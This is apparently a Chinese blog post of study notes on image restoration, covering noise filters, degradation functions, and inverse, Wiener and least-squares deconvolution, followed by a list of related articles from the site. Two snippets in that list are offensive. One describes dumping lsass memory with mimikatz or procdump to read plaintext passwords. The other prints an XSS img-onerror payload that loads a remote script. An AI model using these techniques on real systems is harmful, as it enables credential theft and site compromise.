首先,必须注意这里所限制的处理条件。

关于图像退化/复原模型

退化的图像是由成像系统的退化加上额外的噪声形成的。

1.只考虑噪声引起的退化

噪声模型,包含于空间不相关和相关两种,除了空间周期噪声,这里所讨论的都是空间不相关的噪声,如高斯,爱尔兰,瑞利,指数分布,均匀分布,脉冲(椒盐)噪声等。

针对只存在噪声引起的退化,首先要估计噪声参数,然后估计噪声模型,接着做噪声滤除。此处可以选择空间滤波方法,图像增强与复原没有区别。几类滤波器的效果特性如下:

1.均值滤波

当图像仅存在加性噪声时,采用均值滤波

算数均值滤波,模糊图像,复原效果最差

几何均值滤波,与算数均值平滑度差不多,但细节丢失更少,

以上两种适合处理高斯或均匀噪声分布。

谐波均值滤波,适用于处理高斯和均匀分布噪声处理,在白点(盐噪声)效果好,不适合胡椒噪声。

逆谐波均值滤波,根据阶数处理椒/盐噪声,不能同时消除椒盐噪声。阶数为0,变成算数均值,为-1,变成谐波均值滤波器。如果Q选择不当,会产生严重后果。

2.顺序统计滤波

中值滤波

特点:1)在相同尺寸下,比起均值滤波器引起的模糊少;

2)对单极或双极脉冲(椒盐)噪声非常有效。只要脉冲噪声的空间密度不大,经验为(小于0.2)。

3)适于处理椒盐噪声,通过多次使用小模板,可以获得很好的去噪效果,但多次应用中值滤波器,会使图像模糊。

最大值滤波

特点:1)对图像中的亮点敏感;

2)最大值滤波器对于“椒”噪声具有良好消除效果。

3)最大值滤波器可以去除”胡椒”噪声,但会从黑色物体边缘移走一些黑色像素。

最小值滤波

1) 对图像中的暗点敏感;

2) 最小值滤波器对于“盐”噪声具有良好消除效果。

3)最小值滤波器可以去除”盐”噪声,但会从亮色物体边缘移走一些白色像素。

中点滤波,

这种滤波器结合了顺序统计和求平均 (均匀),对于高斯和均匀随机分布噪声有最好的效果。

修正后的α均值滤波

当滤波器非退变为算数均值和中值滤波器的情况下,非常适合于高斯和椒盐噪声混合的情况。

3.自适应滤波

自适应滤波优于以上讨论的所有滤波器。

自适应局部噪声消除滤波,需要估计噪声方差。但要注意噪声方差和图像方差比率超过1时的处理问题,一种是超过1限制在1,这会导致滤波的非线性,但可以防止负值,另外一种是允许出现负值,但最后要重新标定灰度值,但结果是损失动态范围。

自适应中值滤波,相比传统中值滤波有更大概率的处理空间,另外可以平滑非脉冲噪声时试图保留细节,减少图像边界的细化和粗话失真。

4,频域滤波

带阻,带通,陷波已经在之前讲过,不赘述。这里只增加最佳陷波滤波器。

通常不会清楚定义干扰模式,有几种干扰同时存在的时,且干扰成分不在是单频脉冲,前面的方法就不在适用。这里采用最佳的,最小化复原估计值的局部方差。

首先要提取噪声主频成分,得到噪声函数,再次选取加权函数(或者叫调制函数),然后以某种有意义的方法使得估计值在每一点指定领域上的方差最小。

2.噪声和成像系统退化同时存在

1.先说线性,位置不变的退化

线性,输入之和的响应等于输入响应的和,位置不变,表示只与输入值有关,与位置无关。

所以,在有加性噪声,且噪声随机,与位置无关时,有结论:对于具有加性噪声的线性空间不变退化系统,可表示为退化函数与图像的卷积,再加上噪声。

许多类型的退化可近似为线性,位置不变的过程,这样可以用许多线性工具来解决图像复原问题,与位置有关的非线性技术虽然更普遍,但会带来没有已知解的困难,或者解决计算问题时非常困难,这里主要讨论线性,位置不变系统的复原技术。所以,图像去卷积通常用于表示线性图像复原,用于复原处理的滤波器,通常称为去卷积滤波器。
 

2.估计退化函数。

观察估计,选择一个强信号区域,这里受噪声的干扰可以忽略。接着处理该区域得到尽可能不模糊的结果。两者的DFT之比即可近似为退化函数。

试验估计,模拟出与获得退化图像的设备相似的装置,用冲激成像。

建模估计,数学建模,如大气湍流,匀速运动物体的退化函数模型等。

3.图像复原

忽略噪声后,退化模型的DFT,其中H已知,则IDFT(F)得到复原图像,这就是逆滤波。实际中,H为0或者接近0时,F变成无穷大或者非常大的数。

不忽略噪声时,不能 准确复原,因为噪声的DFT未知,如果退化是0或者接近0,噪声数值即使很小,但还是很容易决定F的估计值,因为复原公式中噪声复原引起的数值很大。

解决退化是0或者接近0的方法是,限制滤波频率,使其接近原点。即图像复原在H的原点周围的有限区域进行。

这种一般的直接逆滤波,效果较差,没有说明如何处理噪声。下面改进的方法是:

维纳滤波

它会综合考虑退化函数和噪声的统计特征。即寻找一个滤波器使其复原后的图像与原图像均方误差最小。因此,维纳滤波又叫最小均方误差复原,也叫最小二乘误差滤波器。注意,维纳滤波假设噪声和图像不相关,未污染图像和估计图像中有一个有零均值,且估计的灰度级是退化图像灰度级的线性函数。如果噪声均值为0,则维纳滤波器变成逆滤波器。信噪比,是以噪声和未退化图像的功率谱为基础的定义的。然而,未退化图像的功率谱很少已知,则常用常数K来估计。

因此维纳滤波的缺点是,

  1. 未退化图像和噪声的功率谱必须是已知的;

  2. 功率比(信噪比)常数K的估计一般还是没有合适的解。

因此,另外一种去卷积滤波器是约束最小二乘方滤波器。
它是通过将图像复原模型,用矩阵的形式表示,其核心是减少噪声敏感性问题,因此,以平滑度量的最佳复原为基础,如拉普拉斯变换的锐化。然后,利用约束条件,不断调整参数γ值。
经验是,对高噪声和中等噪声,最小二乘方要比维纳效果好,低噪声时类似,手工选择参数时,最小二乘方可能比维纳要好。参数值,可以迭代计算,但自动计算出的参数效果要比手动的差。
几何均值滤波
维纳滤波的推广,根据参数值,可以退变为维纳滤波,逆滤波,谱均衡滤波器。

paper 108:系统学习数字图像处理之图像复原与重建的更多相关文章

  1. 数字图像处理(MATLAB版)学习笔记(2)——第2章 灰度变换与空间滤波

    0.小叙闲言 1.本章整体结构 2.书中例子 例2.1 主要是使用函数imadjust,来熟悉一下灰度处理,体验一把 >> imread('myimage.jpg'); >> ...

  2. 数字图像处理笔记与体会(一)——matlab编程基础

    最近开始学习数字图像处理,使用matlab实现,下面我就来记录笔记和体会,一方面是给大家提供参考,另一方面是防止我忘记了. 复习一下: 1.数字图像是用一个数字矩阵来表示的,数字阵列中的每个数字,表示 ...

  3. 数字图像处理(MATLAB版)学习笔记(1)——第1章 绪言

    0.下定决心 当当入手数字图像处理一本,从此开此正式跨入数字图像处理大门.以前虽然多多少少接触过这些东西,也做过一些相关的事情,但感觉都不够系统,也不够专业,从今天开始,一步一步地学习下去,相信会有成 ...

  4. 数字图像处理学习笔记之一 DIP绪论与MATLAB基础

    写在前面的话 数字图像处理系列的学习笔记是作者结合上海大学计算机学院<数字图像处理>课程的学习所做的笔记,使用参考书籍为<冈萨雷斯数字图像处理(第二版)(MATLAB版)>,同 ...

  5. [00]数字图像处理-matlab速成

    原本听的是mooc武汉大学的数字图像处理课程,但是无奈老师读ppt的能力太强,不太适应,后面的课程对于实验方面的要求甚低,无奈之下到处找课程,终于找到了一个适合自己的教程<王伟强-数字图像处理& ...

  6. FPGA与数字图像处理技术

    数字图像处理方法的重要性源于两个主要应用领域: 改善图像信息以便解释. 为存储.传输和表示而对图像数据进行处理,以便于机器自动理解. 图像处理(image processing): 用计算机对图像进行 ...

  7. 初始----python数字图像处理--:环境安装与配置

    一提到数字图像处理编程,可能大多数人就会想到matlab,但matlab也有自身的缺点: 1.不开源,价格贵 2.软件容量大.一般3G以上,高版本甚至达5G以上. 3.只能做研究,不易转化成软件. 因 ...

  8. 数字图像处理原理与实践(MATLAB版)勘误表

    本文系<数字图像处理原理与实践(MATLAB版)>一书的勘误表. [内容简单介绍]本书全面系统地介绍了数字图像处理技术的理论与方法,内容涉及几何变换.灰度变换.图像增强.图像切割.图像去噪 ...

  9. FPGA经典:Verilog传奇与基于FPGA的数字图像处理原理及应用

    一 简述 最近恶补基础知识,借了<<Verilog传奇>>,<基于FPGA的嵌入式图像处理系统设计>和<<基千FPGA的数字图像处理原理及应用>& ...

随机推荐

  1. Flex Vector使用(转)

    从前(Flex SDK 4.0 以前版本)创建 Vector 实例一定要如下所示,这样的语法使我们在构造 Vector 对象时无法指定元素: var v:Vector.<T> = new ...

  2. 20145330《Java程序设计》第四周学习总结

    20145330<Java程序设计>第四周学习总结 一周两章新知识的自学与理解真的是很考验和锻炼我们,也对前面几章我们的学习进行了检测,遇到忘记和不懂的知识就再复习前面的,如此巩固也让我对 ...

  3. golang gc 问题(转的)

    在实际使用go语言的过程中,碰到了一些看似奇怪的内存占用现象,于是决定对go语言的垃圾回收模型进行一些研究.本文对研究的结果进行一下总结. 什么是垃圾回收? 曾几何时,内存管理是程序员开发应用的一大难 ...

  4. 开源工作流引擎CCFlow 学习专区

    http://bbs.ccflow.org/index.aspx 官网:http://www.ccflow.org/

  5. Linux 根据组名查询出该组内所有成员

    目前linux中没有直接根据组名查询组员的命令. 目前系统提供的查找组员和组之间的关系的方法有两种, 一种是:查找/etc/passwd和/etc/group目录,根据/etc/group目录里面的组 ...

  6. HDU1166线段树(单点更新,区间求和)

    敌兵布阵 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Submis ...

  7. mimikatz不反弹读取密码

    有些时候无法反弹shell执行mimikatz,虽然可以用procdump导出lsass的内存dump文件,之后本地获取明文密码,但多少有点麻烦,其实mimikatz也支持命令行直接导出 mimika ...

  8. Xss里img标签的一些利用

    <img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="//x ...

  9. 你应了解的4种JS设计模式

    学习地址: http://mp.weixin.qq.com/s?__biz=MjM5MTA1MjAxMQ==&mid=2651223556&idx=1&sn=8cd7a2272 ...

  10. 新建一个新的spring boot项目

    简单几步,在Eclipse中创建一个新的spring Boot项目: 1.Eclipse中安装STS插件: Help -> Eclipse Marketplace... Search或选择&qu ...